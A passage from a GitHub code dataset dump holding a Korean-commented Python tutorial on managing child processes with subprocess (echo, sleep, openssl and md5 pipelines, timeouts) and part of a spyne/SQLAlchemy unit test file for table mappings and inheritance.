novamente\")","repo_name":"Pedroo722/Algoritmos_Python","sub_path":"Listas/Lista-17/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30401712145","text":"# 172쪽. 자식 프로세스를 관리하려면 subprocess를 사용하자.\n# 2017/01/20 작성\n\n## Part 1. 병행성과 병렬성\n\"\"\"\n병행성(concurrency)이란 컴퓨터가 여러 일을 마치 동시에 하듯이 수행하는 것을 말한다.\n예를 들어 CPU 코어가 하나인 컴퓨터에서 운영체제는 단일 프로세서에서 실행하는 프로그램을 빠르게 변경한다.\n이 방법으로 프로그램을 교대로 실행하��� 프로그램들이 동시에 실행하는 것처럼 보이게 한다.\n\n병렬성(parallelism)은 여러 작업을 동시에 실행하는 것이다.\nCPU 코어가 여러 개인 컴퓨터는 여러 프로그램을 동시에 실행할 수 있다.\n각 CPU 코어가 각기 다른 프로그램의 명령어를 실행하여 각 프로그램이 같은 순간에 실행하게 해준다.\n\"\"\"\n\n\"\"\"\n병렬성과 병행성 사이의 가장 큰 차이점은 속도 향상이다. \n한 프로그램에서 서로 다른 두 실행 경로를 병렬로 진행하면 전체 작업에 걸리는 시간이 절반으로 준다.\n즉, 실행 속도가 두 배로 빨라진다.\n\n반면에 병행 프로그램은 수 천 가지 실행 경로를 병렬로 수행하는 것처럼 보이게 해주지만 전체 작업 속도는 향상되지 않는다.\n\n파이썬을 쓰면 병행 프로그램을 쉽게 작성할 수 있다. 시스템 호출, 서브프로세스, C 확장을 이용한 병렬작업에도 파이썬을 쓸 수 있다.\n그러나 병행 파이썬 코드를 실제 병렬로 실행하게 만드는 건 정말 어렵다.\n이런 미묘한 차이가 생기는 상황에서 파이썬을 최대한 활용하는 방법을 알아야 한다.\n\"\"\"\n\n## Part 2. subprocess - 1\n\"\"\"\n파이썬은 실전에서 단련된 자식 프로세스 실행과 관리용 라이브러리를 갖추고 있다.\n따라서 명령줄 유틸리티 같은 다른 도구들을 연계하는 데 아주 좋은 언어다.(ex. shell)\n기존 쉘 스크립트가 시간이 지나면서 점점 복잡해지면, 자연히 파이썬 코드로 재작성하여 가독성과 유지보수성을 확보하려 하기 마련이다.\n\n파이썬으로 시작한 자식 프로세스는 병렬로 실행할 수 있고, 그래서 파이썬을 사용하면 CPU 코어를 모두 이용해\n프로그램의 처리량을 극대화할 수 있다.\n\n파이썬에서 서브프로세스(자식 프로세스)를 실행하는 방법은 여러 개 있어 왔는데 요즘 최선의 방법은 \n내장 'subprocess' 모듈을 사용하는 것이다.\n\"\"\"\nimport os\nimport subprocess\nfrom time import time\n\nproc = subprocess.Popen(\n\t['echo', 'Hello from the child!'],\n\tstdout=subprocess.PIPE)\nout, err = proc.communicate()\nprint(out) # b'Hello from the child!\\n'\n\n# 자세한 내용은 https://docs.python.org/3/library/subprocess.html 에 있는데 다 읽는 것을 추천한다.\n# 여기서는 간단한 내용만 다룬다.\n\n\"\"\"\n위의 코드를 보면\n1. subprocess.Popen \n\t서브 프로세스를 생성하는 생성자이다. 수많은 인자를 받는다.\n2. ['echo', 'Hello from the child!'],\n\t실행할 명령을 리스트로 입력한다. 의미 있는 단위로 나누어야 한다.\n3. stdout=subprocess.PIPE)\n\t프로세스의 결과물을 표준 출력으로 지정할 수 있는데(stdout) PIPE로 그 값을 내가 원하는 시간대에 가져올 수 있다.\n4. proc.communicate()\n\t이 메소드는 (stdout, stderr)를 튜플로 반환한다.\n\"\"\"\n\n\"\"\"\n자식 프로세스는 부모 프로세스와 파이썬 인터프리터와는 독립적으로 실행된다.\n자식 프로세스의 상태는 다른 작업을 하는 동안 주시적으로 폴링된다.(polling)\n\"\"\"\n\nproc = subprocess.Popen(['sleep', '0.3'])\nwhile proc.poll() is None:\n print('Child is working')\nprint('Exit status', proc.poll())\n\n# >>>\n#Child is working\n#Child is working\n# ...\n# Child is working\n# Exit status 0\n\n\"\"\"\npoll 메서드는 자식 프로세스가 종료되지 않았으면 None을 종료하고\n끝나면 정수의 리턴코드를 반환한다.\n\n위에서는 0.3 초 동안 프로세스가 실행되었고 그 동안 무수한 'Child is working'이 출력되었다.\n\"\"\"\n\n\n\n### Part 3. subprocess - 2\n\"\"\"\n부모에서 자식 프로세스를 떼어낸다는 건 부모 프로세스가 자유롭게 여러 자식 프로세스를 \n병렬로 실행할 수 있음을 의미한다.\n자식 프로세스를 떼어내려면 모든 자식 프로세스를 먼저 시작하면 된다.\n\"\"\"\n\ndef run_sleep(period):\n proc = subprocess.Popen(['sleep', str(period)])\n return proc\n\t\nstart = time()\nprocs = []\n\nfor _ in range(10):\n proc = run_sleep(0.1)\n procs.append(proc)\n \n# 이후에는 communicate 메소드로 자식 프로세스들이 I/O를 마치고 종료하기를 기다리면 된다.\nfor proc in procs:\n proc.communicate()\nend = time()\nprint('Finished in ', end - start) # Finished in 0.12452840805053711\n\n# 이 프로세스들을 순차적으로 실행했다면 전체 지연 시간은 여기서 측정한 약 0.12초가 아니라 1초였을 것이다.\n\n\n### Part 4. subprocess - 3\n\"\"\"\n파이썬 프로그램에서 파이프를 이용해 데이터를 서브프로세스로 보낸 다음, 서브프로세스의 결과를 받아올 수 있다.\n이 방법을 이용하면 다른 프로그램을 활용하여 작업을 병렬로 수행할 수 있다.\n\n예를 들어 어떤 데이터를 암호화하는 데 openssl 명령줄 도구를 사���하려 한다고 하자. \n명령줄 인수와 I/O 파이프를 사용해 자식 프로세스를 실행하는 건 간단하다.\n\"\"\"\n\ndef run_openssl(data):\n env = os.environ.copy()\n env['password'] = b'\\xe24U\\n\\xd0Ql3S\\x11'\n proc = subprocess.Popen(\n \t\t\t['openssl', 'enc', '-des3', '-pass', 'env:password'],\n \t\t\tenv=env,\n \t\t\tstdin=subprocess.PIPE,\n \t\t\tstdout=subprocess.PIPE)\n proc.stdin.write(data)\n proc.stdin.flush() # 자식 프로세스가 입력을 반드시 받게 함.\n return proc\n \n\"\"\"\nproc.stdin, proc.stdout은 하나의 file로 취급되어 write, read, flush 등을 모두 쓸 수 있다.\n위 식은 파이프로 어떤 data 인자를 받으면 그 인자를 openssl enc로 암호화하는 프로세스를 반환한다는 것을 의미한다.\n\n예제에서는 파이프로 암호화 함수에 임의의 바이트를 전달하지만 실전에서는 사용자 입력, 파일 핸들, 네트워크 소켓 등을 전달할 것이다.\n\"\"\"\n\nprocs = []\n\nfor _ in range(3):\n data = os.urandom(10)\n proc = run_openssl(data)\n procs.append(proc)\n \n out, err = proc.communicate()\n print(out[-10:])\n \n# 자식 프로세스는 병렬로 실행되고 입력을 소비한다.\n# >>>\n# b'eQ\\xca\"\\xc5\\x04R(=q'\n# b'W\\xcfj\\xbf\\x12\"\\xe7\\xb1lj'\n# b\"\\x87\\xfdb\\x8c`'{f\\x0e\\x13\"\n\n\n## Part 5. subprocess - 4\n\"\"\"\n자식 프로세스가 종료되지 않거나 입력 또는 출력 파이프에서 블록될 염려가 있다면 \ncommunicate 메서드에 timeout 파라미터를 넘겨야 한다.\n이렇게 하면 자식 프로세스가 일정한 시간 내에 응답하지 않을 때 예외가 일으켜 오동작하는\n자식 프로세스를 종료할 기회를 얻는다.\n\"\"\"\n\nproc = run_sleep(10)\ntry:\n proc.communicate(timeout=0.1)\nexcept subprocess.TimeoutExpired:\n proc.terminate()\n proc.wait()\n \nprint('Exit status', proc.poll()) # Exit status -15\n\n\n\n## Part 6. subprocess - 5\n\"\"\"\n유닉스의 파이프처럼 한 자식 프로세스의 결과를 다른 프로세스의 입력으로 연결하여\n병렬 프로세스의 체인을 생설할 수 있다.\n\n다음은 자식 프로세스를 시작하여 md5 명령줄 도구에서 입력 스트림을 소비하게 하는 함수이다.\n\"\"\"\n\ndef run_md5(input_stdin):\n proc = subprocess.Popen(['md5'],\n \t\t\t stdin=input_stdin,\n \t\t\t stdout=subprocess.PIPE)\n return proc\n \n# 이제 데이터를 암호화하는 openssl 프로세스 집합과 암호화된 결과를 md5로 해시하는 프로세스 집합을 시작할 수 있다.\n\ninput_procs = []\nhash_procs = []\n\nfor _ in range(3):\n data = os.urandom(10)\n proc = run_openssl(data)\n input_procs.append(proc)\n hash_proc = run_md5(proc.stdout)\n hash_procs.append(hash_proc)\n \n\"\"\"\nrun_openssl 프로세스의 출력, 즉 stdout을 run_md5의 stdin으로 받음으로써 pipe 가 되었다.\n일단 자식 프로세스들이 시작하면 이들 사이의 I/O는 자동으로 일어난다. \n할 일은 모든 작업이 끝나고 최종 결과물이 출력되기를 기다리는 것뿐이다.\n\"\"\"\n\nfor proc in input_procs:\n proc.communicate()\n \nfor proc in hash_procs:\n out, err = proc.communicate()\n print(out.strip())\n \n \n\"\"\"핵심정리\n\n* 자식 프로세스를 실행하고 자식 프로세스의 입출력 스트림을 관리하려면 subprocess 모듈을 사용하자.\n* 자식 프로세스는 파이썬 인터프리터에서 병렬로 실행되어 CPU 사용을 극대화하게 해준다.\n* communicate 메서드에 timeout 파라미터를 사용하여 자식 프로세스들이 교착 상태(dead lock)에 빠지거나 멈추는 상황을 막자.\n\n\"\"\"\n","repo_name":"JaeSung-Seo/Python","sub_path":"files/BetterWay36_Usesubprocess.py","file_name":"BetterWay36_Usesubprocess.py","file_ext":"py","file_size_in_byte":9063,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73212375265","text":"import logging\nlogging.basicConfig(level=logging.DEBUG)\n\nimport inspect\nimport unittest\nimport sqlalchemy\n\nfrom pprint import pprint\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import MetaData\nfrom sqlalchemy import Column\nfrom sqlalchemy import Table\nfrom sqlalchemy.exc import IntegrityError\n\nfrom sqlalchemy.orm import mapper\nfrom sqlalchemy.orm import sessionmaker\n\nfrom spyne import M, Any, Double\n\nfrom spyne.model import XmlAttribute, File, XmlData, ComplexModel, Array, \\\n Integer32, Unicode, Integer, Enum, TTableModel, DateTime, Boolean\n\nfrom spyne.model.binary import HybridFileStore\nfrom spyne.model.complex import xml\nfrom spyne.model.complex import table\n\nfrom spyne.store.relational import get_pk_columns\nfrom spyne.store.relational.document import PGJsonB, PGJson, PGFileJson, \\\n PGObjectJson\n\nTableModel = TTableModel()\n\n\nclass TestSqlAlchemyTypeMappings(unittest.TestCase):\n def test_init(self):\n fn = inspect.stack()[0][3]\n from sqlalchemy.inspection import inspect as sqla_inspect\n\n class SomeClass1(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 1)\n i = Integer32(pk=True)\n e = Unicode(32)\n\n from spyne.util.dictdoc import get_dict_as_object\n inst = get_dict_as_object(dict(i=4), SomeClass1)\n assert not sqla_inspect(inst).attrs.e.history.has_changes()\n\n def test_bool(self):\n fn = inspect.stack()[0][3]\n\n class SomeClass1(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 1)\n i = Integer32(pk=True)\n b = Boolean\n\n assert isinstance(SomeClass1.Attributes.sqla_table.c.b.type,\n sqlalchemy.Boolean)\n\n class SomeClass2(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 2)\n i = Integer32(pk=True)\n b = Boolean(store_as=int)\n\n assert isinstance(SomeClass2.Attributes.sqla_table.c.b.type,\n sqlalchemy.SmallInteger)\n\n def test_jsonb(self):\n fn = inspect.stack()[0][3]\n\n class SomeClass1(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 1)\n i = Integer32(pk=True)\n a = Any(store_as='json')\n\n assert isinstance(SomeClass1.Attributes.sqla_table.c.a.type, PGJson)\n\n class SomeClass2(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 2)\n i = Integer32(pk=True)\n a = Any(store_as='jsonb')\n\n assert isinstance(SomeClass2.Attributes.sqla_table.c.a.type, PGJsonB)\n\n class SomeClass3(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 3)\n i = Integer32(pk=True)\n a = File(store_as=HybridFileStore(\"path\", db_format='jsonb'))\n\n assert isinstance(SomeClass3.Attributes.sqla_table.c.a.type, PGFileJson)\n assert SomeClass3.Attributes.sqla_table.c.a.type.dbt == 'jsonb'\n\n def test_obj_json(self):\n fn = inspect.stack()[0][3]\n\n class SomeClass(ComplexModel):\n s = Unicode\n d = Double\n\n class SomeClass1(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 1)\n _type_info = [\n ('i', Integer32(pk=True)),\n ('a', Array(SomeClass, store_as='json')),\n ]\n\n assert isinstance(SomeClass1.Attributes.sqla_table.c.a.type,\n PGObjectJson)\n\n class SomeClass2(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 2)\n i = Integer32(pk=True)\n a = SomeClass.customize(store_as='json')\n\n assert isinstance(SomeClass2.Attributes.sqla_table.c.a.type,\n PGObjectJson)\n\n\nclass TestSqlAlchemySchema(unittest.TestCase):\n def setUp(self):\n logging.getLogger('sqlalchemy').setLevel(logging.DEBUG)\n\n self.engine = create_engine('sqlite:///:memory:')\n self.session = sessionmaker(bind=self.engine)()\n self.metadata = TableModel.Attributes.sqla_metadata = MetaData()\n self.metadata.bind = self.engine\n logging.info('Testing against sqlalchemy-%s', sqlalchemy.__version__)\n\n def test_obj_json_dirty(self):\n fn = inspect.stack()[0][3]\n\n class SomeClass(ComplexModel):\n s = Unicode\n d = Double\n\n class SomeClass1(TableModel):\n __tablename__ = \"%s_%d\" % (fn, 1)\n _type_info = [\n ('i', Integer32(pk=True)),\n ('a', SomeClass.store_as('jsonb')),\n ]\n\n self.metadata.create_all()\n\n sc1 = SomeClass1(i=5, a=SomeClass(s=\"s\", d=42.0))\n self.session.add(sc1)\n self.session.commit()\n\n from sqlalchemy.orm.attributes import flag_modified\n\n # TODO: maybe do the flag_modified() on setitem?\n sc1.a.s = \"ss\"\n flag_modified(sc1, 'a')\n\n assert sc1 in self.session.dirty\n\n self.session.commit()\n assert sc1.a.s == \"ss\"\n\n # not implemented\n #sc1.a[0].s = \"sss\"\n #flag_modified(sc1.a[0], 's')\n #assert sc1.a[0] in self.session.dirty\n\n def test_schema(self):\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True, autoincrement=False)\n s = Unicode(64, unique=True)\n i = Integer32(64, index=True)\n\n t = SomeClass.__table__\n self.metadata.create_all() # not needed, just nice to see.\n\n assert t.c.id.primary_key == True\n assert t.c.id.autoincrement == False\n indexes = list(t.indexes)\n indexes.sort(key=lambda idx: idx.name)\n for idx in indexes:\n assert 'i' in idx.columns or 's' in idx.columns\n if 's' in idx.columns:\n assert idx.unique\n\n def test_colname_simple(self):\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True, autoincrement=False)\n s = Unicode(64, sqla_column_args=dict(name='ss'))\n\n t = SomeClass.__table__\n self.metadata.create_all() # not needed, just nice to see.\n\n assert 'ss' in t.c\n\n def test_colname_complex_table(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = (\n {\"sqlite_autoincrement\": True},\n )\n\n id = Integer32(primary_key=True)\n o = SomeOtherClass.customize(store_as='table',\n sqla_column_args=dict(name='oo'))\n\n t = SomeClass.__table__\n self.metadata.create_all() # not needed, just nice to see.\n\n assert 'oo_id' in t.c\n\n def test_colname_complex_json(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = (\n {\"sqlite_autoincrement\": True},\n )\n\n id = Integer32(primary_key=True)\n o = SomeOtherClass.customize(store_as='json',\n sqla_column_args=dict(name='oo'))\n\n t = SomeClass.__table__\n self.metadata.create_all() # not needed, just nice to see.\n\n assert 'oo' in t.c\n\n def test_nested_sql(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = (\n {\"sqlite_autoincrement\": True},\n )\n\n id = Integer32(primary_key=True)\n o = SomeOtherClass.customize(store_as='table')\n\n self.metadata.create_all()\n\n soc = SomeOtherClass(s='ehe')\n sc = SomeClass(o=soc)\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n sc_db = self.session.query(SomeClass).get(1)\n print(sc_db)\n assert sc_db.o.s == 'ehe'\n assert sc_db.o_id == 1\n\n sc_db.o = None\n self.session.commit()\n self.session.close()\n\n sc_db = self.session.query(SomeClass).get(1)\n assert sc_db.o == None\n assert sc_db.o_id == None\n\n def test_nested_sql_array_as_table(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n others = Array(SomeOtherClass, store_as='table')\n\n self.metadata.create_all()\n\n soc1 = SomeOtherClass(s='ehe1')\n soc2 = SomeOtherClass(s='ehe2')\n sc = SomeClass(others=[soc1, soc2])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n sc_db = self.session.query(SomeClass).get(1)\n\n assert sc_db.others[0].s == 'ehe1'\n assert sc_db.others[1].s == 'ehe2'\n\n self.session.close()\n\n def test_nested_sql_array_as_multi_table(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n others = Array(SomeOtherClass, store_as=table(multi=True))\n\n self.metadata.create_all()\n\n soc1 = SomeOtherClass(s='ehe1')\n soc2 = SomeOtherClass(s='ehe2')\n sc = SomeClass(others=[soc1, soc2])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n sc_db = self.session.query(SomeClass).get(1)\n\n assert sc_db.others[0].s == 'ehe1'\n assert sc_db.others[1].s == 'ehe2'\n\n self.session.close()\n\n def test_nested_sql_array_as_multi_table_with_backref(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n others = Array(SomeOtherClass,\n store_as=table(multi=True, backref='some_classes'))\n\n self.metadata.create_all()\n\n soc1 = SomeOtherClass(s='ehe1')\n soc2 = SomeOtherClass(s='ehe2')\n sc = SomeClass(others=[soc1, soc2])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n soc_db = self.session.query(SomeOtherClass).all()\n\n assert soc_db[0].some_classes[0].id == 1\n assert soc_db[1].some_classes[0].id == 1\n\n self.session.close()\n\n def test_nested_sql_array_as_xml(self):\n class SomeOtherClass(ComplexModel):\n id = Integer32\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n others = Array(SomeOtherClass, store_as='xml')\n\n self.metadata.create_all()\n\n soc1 = SomeOtherClass(s='ehe1')\n soc2 = SomeOtherClass(s='ehe2')\n sc = SomeClass(others=[soc1, soc2])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n sc_db = self.session.query(SomeClass).get(1)\n\n assert sc_db.others[0].s == 'ehe1'\n assert sc_db.others[1].s == 'ehe2'\n\n self.session.close()\n\n def test_nested_sql_array_as_xml_no_ns(self):\n class SomeOtherClass(ComplexModel):\n id = Integer32\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n others = Array(SomeOtherClass, store_as=xml(no_ns=True))\n\n self.metadata.create_all()\n\n soc1 = SomeOtherClass(s='ehe1')\n soc2 = SomeOtherClass(s='ehe2')\n sc = SomeClass(others=[soc1, soc2])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n sc_xml = self.session.connection() \\\n .execute(\"select others from some_class\") .fetchall()[0][0]\n\n from lxml import etree\n assert etree.fromstring(sc_xml).tag == 'SomeOtherClassArray'\n\n self.session.close()\n\n def test_inheritance(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(SomeOtherClass):\n numbers = Array(Integer32).store_as(xml(no_ns=True, root_tag='a'))\n\n self.metadata.create_all()\n\n sc = SomeClass(id=5, s='s', numbers=[1, 2, 3, 4])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n sc_db = self.session.query(SomeClass).get(5)\n assert sc_db.numbers == [1, 2, 3, 4]\n self.session.close()\n\n sc_db = self.session.query(SomeOtherClass).get(5)\n assert sc_db.id == 5\n try:\n sc_db.numbers\n except AttributeError:\n pass\n else:\n raise Exception(\"must fail\")\n\n self.session.close()\n\n def test_inheritance_with_complex_fields(self):\n class Foo(TableModel):\n __tablename__ = 'foo'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class Bar(TableModel):\n __tablename__ = 'bar'\n __table_args__ = {\"sqlite_autoincrement\": True}\n __mapper_args__ = {\n 'polymorphic_on': 'type',\n 'polymorphic_identity': 'bar',\n 'with_polymorphic': '*',\n }\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n type = Unicode(6)\n foos = Array(Foo).store_as('table')\n\n class SubBar(Bar):\n __mapper_args__ = {\n 'polymorphic_identity': 'subbar',\n }\n i = Integer32\n\n sqlalchemy.orm.configure_mappers()\n\n mapper_subbar = SubBar.Attributes.sqla_mapper\n mapper_bar = Bar.Attributes.sqla_mapper\n assert not mapper_subbar.concrete\n\n for inheriting in mapper_subbar.iterate_to_root():\n if inheriting is not mapper_subbar \\\n and not (mapper_bar.relationships['foos'] is\n mapper_subbar.relationships['foos']):\n raise Exception(\"Thou shalt stop children relationships \"\n \"from overriding the ones in parent\")\n\n def test_mixins_with_complex_fields(self):\n class Foo(TableModel):\n __tablename__ = 'foo'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class Bar(TableModel):\n __tablename__ = 'bar'\n __table_args__ = {\"sqlite_autoincrement\": True}\n __mixin__ = True\n __mapper_args__ = {\n 'polymorphic_on': 'type',\n 'polymorphic_identity': 'bar',\n 'with_polymorphic': '*',\n }\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n type = Unicode(6)\n foos = Array(Foo).store_as('table')\n\n class SubBar(Bar):\n __mapper_args__ = {\n 'polymorphic_identity': 'subbar',\n }\n i = Integer32\n\n sqlalchemy.orm.configure_mappers()\n\n mapper_subbar = SubBar.Attributes.sqla_mapper\n mapper_bar = Bar.Attributes.sqla_mapper\n assert not mapper_subbar.concrete\n\n for inheriting in mapper_subbar.iterate_to_root():\n if inheriting is not mapper_subbar \\\n and not (mapper_bar.relationships['foos'] is\n mapper_subbar.relationships['foos']):\n raise Exception(\"Thou shalt stop children relationships \"\n \"from overriding the ones in parent\")\n\n def test_sqlalchemy_inheritance(self):\n # no spyne code is involved here.\n # this is just to test test the sqlalchemy behavior that we rely on.\n\n class Employee(object):\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return self.__class__.__name__ + \" \" + self.name\n\n class Manager(Employee):\n def __init__(self, name, manager_data):\n self.name = name\n self.manager_data = manager_data\n\n def __repr__(self):\n return (\n self.__class__.__name__ + \" \" +\n self.name + \" \" + self.manager_data\n )\n\n class Engineer(Employee):\n def __init__(self, name, engineer_info):\n self.name = name\n self.engineer_info = engineer_info\n\n def __repr__(self):\n return (\n self.__class__.__name__ + \" \" +\n self.name + \" \" + self.engineer_info\n )\n\n employees_table = Table('employees', self.metadata,\n Column('employee_id', sqlalchemy.Integer, primary_key=True),\n Column('name', sqlalchemy.String(50)),\n Column('manager_data', sqlalchemy.String(50)),\n Column('engineer_info', sqlalchemy.String(50)),\n Column('type', sqlalchemy.String(20), nullable=False),\n )\n\n employee_mapper = mapper(Employee, employees_table,\n polymorphic_on=employees_table.c.type,\n polymorphic_identity='employee')\n\n manager_mapper = mapper(Manager, inherits=employee_mapper,\n polymorphic_identity='manager')\n\n engineer_mapper = mapper(Engineer, inherits=employee_mapper,\n polymorphic_identity='engineer')\n\n self.metadata.create_all()\n\n manager = Manager('name', 'data')\n self.session.add(manager)\n self.session.commit()\n self.session.close()\n\n assert self.session.query(Employee).with_polymorphic('*') \\\n .filter_by(employee_id=1) \\\n .one().type == 'manager'\n\n def test_inheritance_polymorphic_with_non_nullables_in_subclasses(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n __mapper_args__ = {'polymorphic_on': 't', 'polymorphic_identity': 1}\n\n id = Integer32(primary_key=True)\n t = Integer32(nillable=False)\n s = Unicode(64, nillable=False)\n\n class SomeClass(SomeOtherClass):\n __mapper_args__ = (\n (),\n {'polymorphic_identity': 2},\n )\n\n i = Integer(nillable=False)\n\n self.metadata.create_all()\n\n assert SomeOtherClass.__table__.c.s.nullable == False\n\n # this should be nullable to let other classes be added.\n # spyne still checks this constraint when doing input validation.\n # spyne should generate a constraint to check this at database level as\n # well.\n assert SomeOtherClass.__table__.c.i.nullable == True\n\n soc = SomeOtherClass(s='s')\n self.session.add(soc)\n self.session.commit()\n soc_id = soc.id\n\n try:\n sc = SomeClass(i=5)\n self.session.add(sc)\n self.session.commit()\n except IntegrityError:\n self.session.rollback()\n else:\n raise Exception(\"Must fail with IntegrityError.\")\n\n sc2 = SomeClass(s='s') # this won't fail. should it?\n self.session.add(sc2)\n self.session.commit()\n\n self.session.expunge_all()\n\n assert self.session.query(SomeOtherClass).with_polymorphic('*') \\\n .filter_by(id=soc_id).one().t == 1\n\n self.session.close()\n\n def test_inheritance_polymorphic(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n __mapper_args__ = {'polymorphic_on': 't', 'polymorphic_identity': 1}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n t = Integer32(nillable=False)\n\n class SomeClass(SomeOtherClass):\n __mapper_args__ = {'polymorphic_identity': 2}\n numbers = Array(Integer32).store_as(xml(no_ns=True, root_tag='a'))\n\n self.metadata.create_all()\n\n sc = SomeClass(id=5, s='s', numbers=[1, 2, 3, 4])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n assert self.session.query(SomeOtherClass).with_polymorphic('*') \\\n .filter_by(id=5).one().t == 2\n self.session.close()\n\n def test_nested_sql_array_as_json(self):\n class SomeOtherClass(ComplexModel):\n id = Integer32\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n others = Array(SomeOtherClass, store_as='json')\n\n self.metadata.create_all()\n\n soc1 = SomeOtherClass(s='ehe1')\n soc2 = SomeOtherClass(s='ehe2')\n sc = SomeClass(others=[soc1, soc2])\n\n self.session.add(sc)\n self.session.commit()\n self.session.close()\n\n sc_db = self.session.query(SomeClass).get(1)\n\n assert sc_db.others[0].s == 'ehe1'\n assert sc_db.others[1].s == 'ehe2'\n\n self.session.close()\n\n def test_modifiers(self):\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n i = XmlAttribute(Integer32(pk=True))\n s = XmlData(Unicode(64))\n\n self.metadata.create_all()\n self.session.add(SomeClass(s='s'))\n self.session.commit()\n self.session.expunge_all()\n\n ret = self.session.query(SomeClass).get(1)\n assert ret.i == 1 # redundant\n assert ret.s == 's'\n\n def test_default_ctor(self):\n class SomeOtherClass(ComplexModel):\n id = Integer32\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n others = Array(SomeOtherClass, store_as='json')\n f = Unicode(32, default='uuu')\n\n self.metadata.create_all()\n self.session.add(SomeClass())\n self.session.commit()\n self.session.expunge_all()\n\n assert self.session.query(SomeClass).get(1).f == 'uuu'\n\n def test_default_value(self):\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n f = Unicode(32, db_default=u'uuu')\n\n self.metadata.create_all()\n val = SomeClass()\n assert val.f is None\n\n self.session.add(val)\n self.session.commit()\n\n self.session.expunge_all()\n\n assert self.session.query(SomeClass).get(1).f == u'uuu'\n\n def test_default_ctor_with_sql_relationship(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n o = 